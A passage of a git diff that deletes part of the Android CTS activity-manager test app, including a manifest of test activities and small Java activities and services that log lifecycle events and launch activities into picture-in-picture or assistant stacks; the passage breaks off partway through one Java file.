-                android:resizeableActivity="true"
-                android:supportsPictureInPicture="true"
-                android:exported="true"
-        />
-        <activity android:name=".TestActivityWithSameAffinity"
-                android:resizeableActivity="true"
-                android:supportsPictureInPicture="true"
-                android:exported="true"
-                android:taskAffinity="nobody.but.PipActivitySameAffinity"
-        />
-        <activity android:name=".TranslucentTestActivity"
-                android:resizeableActivity="true"
-                android:supportsPictureInPicture="true"
-                android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                android:theme="@style/Theme.Transparent" />
-        <activity android:name=".VrTestActivity"
-                android:resizeableActivity="true"
-                android:exported="true"
-        />
-        <activity android:name=".ResumeWhilePausingActivity"
-                android:allowEmbedded="true"
-                android:resumeWhilePausing="true"
-                android:taskAffinity=""
-                android:exported="true"
-        />
-        <activity android:name=".ResizeableActivity"
-                android:resizeableActivity="true"
-                android:allowEmbedded="true"
-                android:exported="true"
-                android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density"
-        />
-        <activity android:name=".NonResizeableActivity"
-                android:resizeableActivity="false"
-                android:exported="true"
-        />
-        <activity android:name=".DockedActivity"
-                android:resizeableActivity="true"
-                android:exported="true"
-                android:taskAffinity="nobody.but.DockedActivity"
-        />
-        <activity android:name=".TranslucentActivity"
-            android:theme="@android:style/Theme.Translucent.NoTitleBar"
-            android:resizeableActivity="true"
-            android:taskAffinity="nobody.but.TranslucentActivity"
-            android:exported="true"
-        />
-        <activity android:name=".DialogWhenLargeActivity"
-                android:exported="true"
-                android:theme="@android:style/Theme.DeviceDefault.Light.DialogWhenLarge"
-        />
-        <activity android:name=".NoRelaunchActivity"
-                android:resizeableActivity="true"
-                android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|fontScale"
-                android:exported="true"
-                android:taskAffinity="nobody.but.NoRelaunchActivity"
-        />
-        <activity android:name=".SlowCreateActivity"
-                android:resizeableActivity="true"
-                android:exported="true"
-        />
-        <activity android:name=".LaunchingActivity"
-                android:resizeableActivity="true"
-                android:exported="true"
-                android:taskAffinity="nobody.but.LaunchingActivity"
-        />
-        <activity android:name=".AltLaunchingActivity"
-                android:resizeableActivity="true"
-                android:exported="true"
-                android:taskAffinity="nobody.but.LaunchingActivity"
-        />
-        <activity android:name=".PipActivity"
-                android:resizeableActivity="false"
-                android:supportsPictureInPicture="true"
-                android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                android:exported="true"
-                android:taskAffinity="nobody.but.PipActivity"
-        />
-        <activity android:name=".PipActivity2"
-                  android:resizeableActivity="false"
-                  android:supportsPictureInPicture="true"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                  android:exported="true"
-                  android:taskAffinity="nobody.but.PipActivity2"
-        />
-        <activity android:name=".PipOnStopActivity"
-                  android:resizeableActivity="false"
-                  android:supportsPictureInPicture="true"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                  android:exported="true"
-                  android:taskAffinity="nobody.but.PipOnStopActivity"
-        />
-        <activity android:name=".PipActivityWithSameAffinity"
-                  android:resizeableActivity="false"
-                  android:supportsPictureInPicture="true"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                  android:exported="true"
-                  android:taskAffinity="nobody.but.PipActivitySameAffinity"
-        />
-        <activity android:name=".AlwaysFocusablePipActivity"
-                  android:theme="@style/Theme.Transparent"
-                  android:resizeableActivity="false"
-                  android:supportsPictureInPicture="true"
-                  androidprv:alwaysFocusable="true"
-                  android:exported="true"
-                  android:taskAffinity="nobody.but.AlwaysFocusablePipActivity"
-        />
-        <activity android:name=".LaunchIntoPinnedStackPipActivity"
-                  android:resizeableActivity="false"
-                  android:supportsPictureInPicture="true"
-                  androidprv:alwaysFocusable="true"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                  android:exported="true"
-        />
-        <activity android:name=".LaunchPipOnPipActivity"
-                  android:resizeableActivity="false"
-                  android:supportsPictureInPicture="true"
-                  android:taskAffinity="nobody.but.LaunchPipOnPipActivity"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                  android:exported="true"
-        />
-        <activity android:name=".LaunchEnterPipActivity"
-                  android:resizeableActivity="false"
-                  android:supportsPictureInPicture="true"
-                  androidprv:alwaysFocusable="true"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                  android:exported="true"
-        />
-        <activity android:name=".FreeformActivity"
-                  android:resizeableActivity="true"
-                  android:taskAffinity="nobody.but.FreeformActivity"
-                  android:exported="true"
-        />
-        <activity android:name=".TopLeftLayoutActivity"
-                  android:resizeableActivity="true"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                  android:exported="true">
-                  <layout android:defaultWidth="240dp"
-                          android:defaultHeight="160dp"
-                          android:gravity="top|left"
-                          android:minWidth="100dp"
-                          android:minHeight="80dp"
-                  />
-        </activity>
-        <activity android:name=".TopRightLayoutActivity"
-                  android:resizeableActivity="true"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                  android:exported="true">
-                  <layout android:defaultWidth="25%"
-                          android:defaultHeight="35%"
-                          android:gravity="top|right"
-                          android:minWidth="90dp"
-                          android:minHeight="80dp"
-                  />
-        </activity>
-        <activity android:name=".BottomLeftLayoutActivity"
-                  android:resizeableActivity="true"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                  android:exported="true">
-                  <layout android:defaultWidth="25%"
-                          android:defaultHeight="35%"
-                          android:gravity="bottom|left"
-                          android:minWidth="90dp"
-                          android:minHeight="80dp"
-                  />
-        </activity>
-        <activity android:name=".BottomRightLayoutActivity"
-                  android:resizeableActivity="true"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                  android:exported="true">
-                  <layout android:defaultWidth="240dp"
-                          android:defaultHeight="160dp"
-                          android:gravity="bottom|right"
-                          android:minWidth="100dp"
-                          android:minHeight="80dp"
-                  />
-        </activity>
-        <activity android:name=".TurnScreenOnActivity"
-                  android:exported="true"
-        />
-        <activity android:name=".TurnScreenOnDismissKeyguardActivity"
-            android:exported="true"
-        />
-        <activity android:name=".SingleTaskActivity"
-            android:exported="true"
-            android:launchMode="singleTask"
-        />
-        <activity android:name=".SingleInstanceActivity"
-            android:exported="true"
-            android:launchMode="singleInstance"
-        />
-        <activity android:name=".TrampolineActivity"
-                  android:exported="true"
-                  android:theme="@android:style/Theme.NoDisplay"
-        />
-        <activity android:name=".BroadcastReceiverActivity"
-                  android:resizeableActivity="true"
-                  android:exported="true"
-        />
-        <activity-alias android:enabled="true"
-                android:exported="true"
-                android:name=".EntryPointAliasActivity"
-                android:targetActivity=".TrampolineActivity" >
-        </activity-alias>
-        <activity android:name=".BottomActivity"
-                  android:exported="true"
-                  android:theme="@style/NoPreview"
-        />
-        <activity android:name=".TopActivity"
-                  android:process=".top_process"
-                  android:exported="true"
-                  android:theme="@style/NoPreview"
-        />
-        <activity android:name=".TranslucentTopActivity"
-                  android:process=".top_process"
-                  android:exported="true"
-                  android:theme="@style/TranslucentTheme"
-        />
-        <!-- An animation test with an explicitly opaque theme, overriding device defaults, as the
-             animation background being tested is not used in translucent activities. -->
-        <activity android:name=".AnimationTestActivity"
-                  android:theme="@style/OpaqueTheme"
-                  android:exported="true"
-        />
-        <activity android:name=".VirtualDisplayActivity"
-                  android:resizeableActivity="true"
-                  android:exported="true"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-        />
-        <activity android:name=".ShowWhenLockedActivity"
-                  android:exported="true"
-        />
-        <activity android:name=".ShowWhenLockedWithDialogActivity"
-                  android:exported="true"
-        />
-        <activity android:name=".ShowWhenLockedDialogActivity"
-            android:exported="true"
-            android:theme="@android:style/Theme.Material.Dialog"
-        />
-        <activity android:name=".ShowWhenLockedTranslucentActivity"
-                  android:exported="true"
-                  android:theme="@android:style/Theme.Translucent"
-        />
-        <activity android:name=".DismissKeyguardActivity"
-                  android:exported="true"
-        />
-        <activity android:name=".DismissKeyguardMethodActivity"
-            android:exported="true"
-        />
-        <activity android:name=".WallpaperActivity"
-            android:exported="true"
-            android:theme="@style/WallpaperTheme"
-        />
-        <activity android:name=".KeyguardLockActivity"
-                  android:exported="true"
-        />
-        <activity android:name=".LogConfigurationActivity"
-            android:exported="true"
-            android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-        />
-        <activity android:name=".PortraitOrientationActivity"
-                  android:exported="true"
-                  android:screenOrientation="portrait"
-                  android:documentLaunchMode="always"
-        />
-        <activity android:name=".LandscapeOrientationActivity"
-                  android:exported="true"
-                  android:screenOrientation="landscape"
-                  android:documentLaunchMode="always"
-        />
-        <activity android:name=".MoveTaskToBackActivity"
-                  android:exported="true"
-                  android:launchMode="singleInstance"
-        />
-        <activity android:name=".FinishableActivity"
-                  android:exported="true"
-        />
-        <activity android:name=".NightModeActivity"
-                  android:exported="true"
-                  android:configChanges="uiMode"
-        />
-        <activity android:name=".FontScaleActivity"
-                  android:exported="true"
-        />
-        <activity android:name=".FontScaleNoRelaunchActivity"
-                  android:exported="true"
-                  android:configChanges="fontScale"
-        />
-        <receiver
-            android:name=".LaunchBroadcastReceiver"
-            android:enabled="true"
-            android:exported="true" >
-            <intent-filter>
-                <action android:name="android.server.cts.LAUNCH_BROADCAST_ACTION"/>
-            </intent-filter>
-        </receiver>
-
-        <activity android:name=".AssistantActivity"
-            android:exported="true" />
-        <activity android:name=".TranslucentAssistantActivity"
-            android:exported="true"
-            android:theme="@style/Theme.Transparent" />
-        <activity android:name=".LaunchAssistantActivityFromSession"
-            android:taskAffinity="nobody.but.LaunchAssistantActivityFromSession"
-            android:exported="true" />
-        <activity android:name=".LaunchAssistantActivityIntoAssistantStack"
-            android:taskAffinity="nobody.but.LaunchAssistantActivityIntoAssistantStack"
-            android:exported="true" />
-
-        <service android:name=".AssistantVoiceInteractionService"
-                 android:permission="android.permission.BIND_VOICE_INTERACTION"
-                 android:exported="true">
-            <meta-data android:name="android.voice_interaction"
-                       android:resource="@xml/interaction_service" />
-            <intent-filter>
-                <action android:name="android.service.voice.VoiceInteractionService" />
-            </intent-filter>
-        </service>
-
-        <service android:name=".AssistantVoiceInteractionSessionService"
-                 android:permission="android.permission.BIND_VOICE_INTERACTION"
-                 android:exported="true" />
-
-        <activity android:name=".SplashscreenActivity"
-            android:taskAffinity="nobody.but.SplashscreenActivity"
-            android:theme="@style/SplashscreenTheme"
-            android:exported="true" />
-
-
-        <activity android:name=".SwipeRefreshActivity"
-                  android:exported="true" />
-
-        <activity android:name=".NoHistoryActivity"
-                  android:noHistory="true"
-                  android:exported="true" />
-
-        <activity android:name=".ShowWhenLockedAttrActivity"
-                  android:showWhenLocked="true"
-                  android:exported="true" />
-
-        <activity android:name=".ShowWhenLockedAttrRemoveAttrActivity"
-                  android:showWhenLocked="true"
-                  android:exported="true" />
-
-        <activity android:name=".ShowWhenLockedAttrWithDialogActivity"
-                  android:showWhenLocked="true"
-                  android:exported="true" />
-
-        <activity android:name=".TurnScreenOnAttrActivity"
-                  android:turnScreenOn="true"
-                  android:exported="true" />
-
-        <activity android:name=".TurnScreenOnShowOnLockActivity"
-                  android:showWhenLocked="true"
-                  android:turnScreenOn="true"
-                  android:exported="true" />
-
-        <activity android:name=".TurnScreenOnAttrRemoveAttrActivity"
-                  android:turnScreenOn="true"
-                  android:showWhenLocked="true"
-                  android:exported="true" />
-
-        <activity android:name=".TurnScreenOnSingleTaskActivity"
-                  android:turnScreenOn="true"
-                  android:showWhenLocked="true"
-                  android:exported="true"
-                  android:launchMode="singleTask" />
-
-        <activity android:name=".TurnScreenOnAttrDismissKeyguardActivity"
-                  android:turnScreenOn="true"
-                  android:exported="true"/>
-
-        <activity android:name=".TurnScreenOnWithRelayoutActivity"
-                  android:exported="true"/>
-
-        <service android:name="com.android.cts.verifier.vr.MockVrListenerService"
-                 android:exported="true"
-                 android:enabled="true"
-                 android:permission="android.permission.BIND_VR_LISTENER_SERVICE">
-           <intent-filter>
-               <action android:name="android.service.vr.VrListenerService" />
-           </intent-filter>
-        </service>
-    </application>
-</manifest>
-
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/resizeable_activity.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/resizeable_activity.xml
deleted file mode 100644
index de52e61..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/resizeable_activity.xml
+++ /dev/null
@@ -1,21 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-  ~ Copyright (C) 2017 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License
-  -->
-
-<android.server.cts.LifecycleLogView xmlns:android="http://schemas.android.com/apk/res/android"
-                android:layout_width="match_parent"
-                android:layout_height="match_parent">
-</android.server.cts.LifecycleLogView>
\ No newline at end of file
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/xml/interaction_service.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/xml/interaction_service.xml
deleted file mode 100644
index 7cf92a0..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/xml/interaction_service.xml
+++ /dev/null
@@ -1,20 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2017 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<voice-interaction-service xmlns:android="http://schemas.android.com/apk/res/android"
-    android:sessionService="android.server.cts.AssistantVoiceInteractionSessionService"
-    android:recognitionService="android.server.cts.AssistantVoiceInteractionSessionService"
-    android:supportsAssist="true" />
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AbstractLifecycleLogActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AbstractLifecycleLogActivity.java
deleted file mode 100644
index 9d29917..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AbstractLifecycleLogActivity.java
+++ /dev/null
@@ -1,113 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-import android.content.res.Configuration;
-import android.graphics.Point;
-import android.os.Bundle;
-import android.util.DisplayMetrics;
-import android.util.Log;
-import android.view.Display;
-import android.view.WindowManager;
-
-public abstract class AbstractLifecycleLogActivity extends Activity {
-
-    @Override
-    protected void onCreate(Bundle icicle) {
-        super.onCreate(icicle);
-        Log.i(getTag(), "onCreate");
-    }
-
-    @Override
-    protected void onStart() {
-        super.onResume();
-        Log.i(getTag(), "onStart");
-    }
-
-    @Override
-    protected void onResume() {
-        super.onResume();
-        Log.i(getTag(), "onResume");
-    }
-
-    @Override
-    public void onConfigurationChanged(Configuration newConfig) {
-        super.onConfigurationChanged(newConfig);
-        Log.i(getTag(), "onConfigurationChanged");
-    }
-
-    @Override
-    public void onMultiWindowModeChanged(boolean isInMultiWindowMode, Configuration newConfig) {
-        super.onMultiWindowModeChanged(isInMultiWindowMode, newConfig);
-        Log.i(getTag(), "onMultiWindowModeChanged");
-    }
-
-    @Override
-    public void onPictureInPictureModeChanged(boolean isInPictureInPictureMode,
-            Configuration newConfig) {
-        super.onPictureInPictureModeChanged(isInPictureInPictureMode, newConfig);
-        Log.i(getTag(), "onPictureInPictureModeChanged");
-    }
-
-    @Override
-    protected void onPause() {
-        super.onPause();
-        Log.i(getTag(), "onPause");
-    }
-
-    @Override
-    protected void onStop() {
-        super.onStop();
-        Log.i(getTag(), "onStop");
-    }
-
-    @Override
-    protected void onDestroy() {
-        super.onDestroy();
-        Log.i(getTag(), "onDestroy");
-    }
-
-    protected abstract String getTag();
-
-    protected void dumpConfiguration(Configuration config) {
-        Log.i(getTag(), "Configuration: " + config);
-    }
-
-    protected void dumpDisplaySize(Configuration config) {
-        // Dump the display size as seen by this Activity.
-        final WindowManager wm = getSystemService(WindowManager.class);
-        final Display display = wm.getDefaultDisplay();
-        final Point point = new Point();
-        display.getSize(point);
-        final DisplayMetrics metrics = getResources().getDisplayMetrics();
-
-        final String line = "config"
-                + " size=" + buildCoordString(config.screenWidthDp, config.screenHeightDp)
-                + " displaySize=" + buildCoordString(point.x, point.y)
-                + " metricsSize=" + buildCoordString(metrics.widthPixels, metrics.heightPixels)
-                + " smallestScreenWidth=" + config.smallestScreenWidthDp
-                + " densityDpi=" + config.densityDpi
-                + " orientation=" + config.orientation;
-
-        Log.i(getTag(), line);
-    }
-
-    protected static String buildCoordString(int x, int y) {
-        return "(" + x + "," + y + ")";
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AltLaunchingActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AltLaunchingActivity.java
deleted file mode 100644
index 7bf847e..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AltLaunchingActivity.java
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-/**
- * An additional launching activity used for alternating between two activities.
- */
-public class AltLaunchingActivity extends LaunchingActivity {
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AlwaysFocusablePipActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AlwaysFocusablePipActivity.java
deleted file mode 100644
index b6c0667..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AlwaysFocusablePipActivity.java
+++ /dev/null
@@ -1,43 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
-import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
-
-import android.app.Activity;
-import android.app.ActivityOptions;
-import android.content.Intent;
-import android.content.pm.PackageManager;
-import android.graphics.Rect;
-
-public class AlwaysFocusablePipActivity extends Activity {
-
-    static void launchAlwaysFocusablePipActivity(Activity caller, boolean newTask) {
-        final Intent intent = new Intent(caller, AlwaysFocusablePipActivity.class);
-
-        intent.setFlags(FLAG_ACTIVITY_CLEAR_TASK);
-        if (newTask) {
-            intent.addFlags(FLAG_ACTIVITY_NEW_TASK);
-        }
-
-        final ActivityOptions options = ActivityOptions.makeBasic();
-        options.setLaunchBounds(new Rect(0, 0, 500, 500));
-        options.setLaunchStackId(4 /* ActivityManager.StackId.PINNED_STACK_ID */);
-        caller.startActivity(intent, options.toBundle());
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AnimationTestActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AnimationTestActivity.java
deleted file mode 100644
index 5ae923e..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AnimationTestActivity.java
+++ /dev/null
@@ -1,28 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-
-public class AnimationTestActivity extends Activity {
-
-    @Override
-    protected void onResume() {
-        super.onResume();
-        overridePendingTransition(R.anim.animation_with_background, -1);
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantActivity.java
deleted file mode 100644
index 18f290f..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantActivity.java
+++ /dev/null
@@ -1,83 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
-import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
-
-import android.app.Activity;
-import android.app.ActivityOptions;
-import android.content.ComponentName;
-import android.content.Intent;
-import android.os.Bundle;
-
-public class AssistantActivity extends Activity {
-
-    // Launches the given activity in onResume
-    public static final String EXTRA_LAUNCH_NEW_TASK = "launch_new_task";
-    // Finishes this activity in onResume, this happens after EXTRA_LAUNCH_NEW_TASK
-    public static final String EXTRA_FINISH_SELF = "finish_self";
-    // Attempts to enter picture-in-picture in onResume
-    public static final String EXTRA_ENTER_PIP = "enter_pip";
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        // Set the layout
-        setContentView(R.layout.assistant);
-
-        // Launch the new activity if requested
-        if (getIntent().hasExtra(EXTRA_LAUNCH_NEW_TASK)) {
-            Intent i = new Intent();
-            i.setComponent(new ComponentName(this, getPackageName() + "."
-                    + getIntent().getStringExtra(EXTRA_LAUNCH_NEW_TASK)));
-            i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
-            startActivity(i);
-        }
-
-        // Enter pip if requested
-        if (getIntent().hasExtra(EXTRA_ENTER_PIP)) {
-            try {
-                enterPictureInPictureMode();
-            } catch (IllegalStateException e) {
-                finish();
-                return;
-            }
-        }
-
-        // Finish this activity if requested
-        if (getIntent().hasExtra(EXTRA_FINISH_SELF)) {
-            finish();
-        }
-    }
-
-    /**
-     * Launches a new instance of the AssistantActivity directly into the assistant stack.
-     */
-    static void launchActivityIntoAssistantStack(Activity caller, Bundle extras) {
-        final Intent intent = new Intent(caller, AssistantActivity.class);
-        intent.setFlags(FLAG_ACTIVITY_CLEAR_TASK | FLAG_ACTIVITY_NEW_TASK);
-        if (extras != null) {
-            intent.putExtras(extras);
-        }
-
-        final ActivityOptions options = ActivityOptions.makeBasic();
-        options.setLaunchStackId(6 /* ActivityManager.StackId.ASSISTANT_STACK_ID */);
-        caller.startActivity(intent, options.toBundle());
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantVoiceInteractionService.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantVoiceInteractionService.java
deleted file mode 100644
index 51c2348..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantVoiceInteractionService.java
+++ /dev/null
@@ -1,64 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.os.Bundle;
-import android.service.voice.VoiceInteractionService;
-import android.util.Log;
-
-public class AssistantVoiceInteractionService extends VoiceInteractionService {
-
-    private static final String TAG = AssistantVoiceInteractionService.class.getSimpleName();
-
-    private boolean mReady;
-
-    @Override
-    public void onReady() {
-        super.onReady();
-        mReady = true;
-    }
-
-    @Override
-    public int onStartCommand(Intent intent, int flags, int startId) {
-        if (!isActiveService(this, new ComponentName(this, getClass()))) {
-            Log.wtf(TAG, "**** Not starting AssistantVoiceInteractionService because" +
-                    " it is not set as the current voice interaction service");
-            stopSelf();
-            return START_NOT_STICKY;
-        }
-        if (mReady) {
-            Bundle extras = intent.getExtras() != null ? intent.getExtras() : new Bundle();
-            showSession(extras, 0);
-        }
-        return START_NOT_STICKY;
-    }
-
-    /**
-     * Starts the assistant voice interaction service, which initiates a new session that starts
-     * the assistant activity.
-     */
-    public static void launchAssistantActivity(Context context, Bundle extras) {
-        Intent i = new Intent(context, AssistantVoiceInteractionService.class);
-        if (extras != null) {
-            i.putExtras(extras);
-        }
-        context.startService(i);
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantVoiceInteractionSessionService.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantVoiceInteractionSessionService.java
deleted file mode 100644
index e711ac4..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantVoiceInteractionSessionService.java
+++ /dev/null
@@ -1,45 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.content.Intent;
-import android.os.Bundle;
-import android.service.voice.VoiceInteractionSession;
-import android.service.voice.VoiceInteractionSessionService;
-
-public class AssistantVoiceInteractionSessionService extends VoiceInteractionSessionService {
-
-    @Override
-    public VoiceInteractionSession onNewSession(Bundle args) {
-        return new VoiceInteractionSession(this) {
-            @Override
-            public void onPrepareShow(Bundle args, int showFlags) {
-                setUiEnabled(false);
-            }
-
-            @Override
-            public void onShow(Bundle args, int showFlags) {
-                Intent i = new Intent(AssistantVoiceInteractionSessionService.this,
-                        AssistantActivity.class);
-                if (args != null) {
-                    i.putExtras(args);
-                }
-                startAssistantActivity(i);
-            }
-        };
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BottomActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BottomActivity.java
deleted file mode 100644
index 38a71f1..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BottomActivity.java
+++ /dev/null
@@ -1,102 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import android.content.Context;
-import android.os.Bundle;
-import android.util.Log;
-import android.view.LayoutInflater;
-import android.view.View;
-import android.view.WindowManager;
-
-public class BottomActivity extends AbstractLifecycleLogActivity {
-
-    private static final String TAG = BottomActivity.class.getSimpleName();
-
-    private int mStopDelay;
-    private View mFloatingWindow;
-
-    @Override
-    protected String getTag() {
-        return TAG;
-    }
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
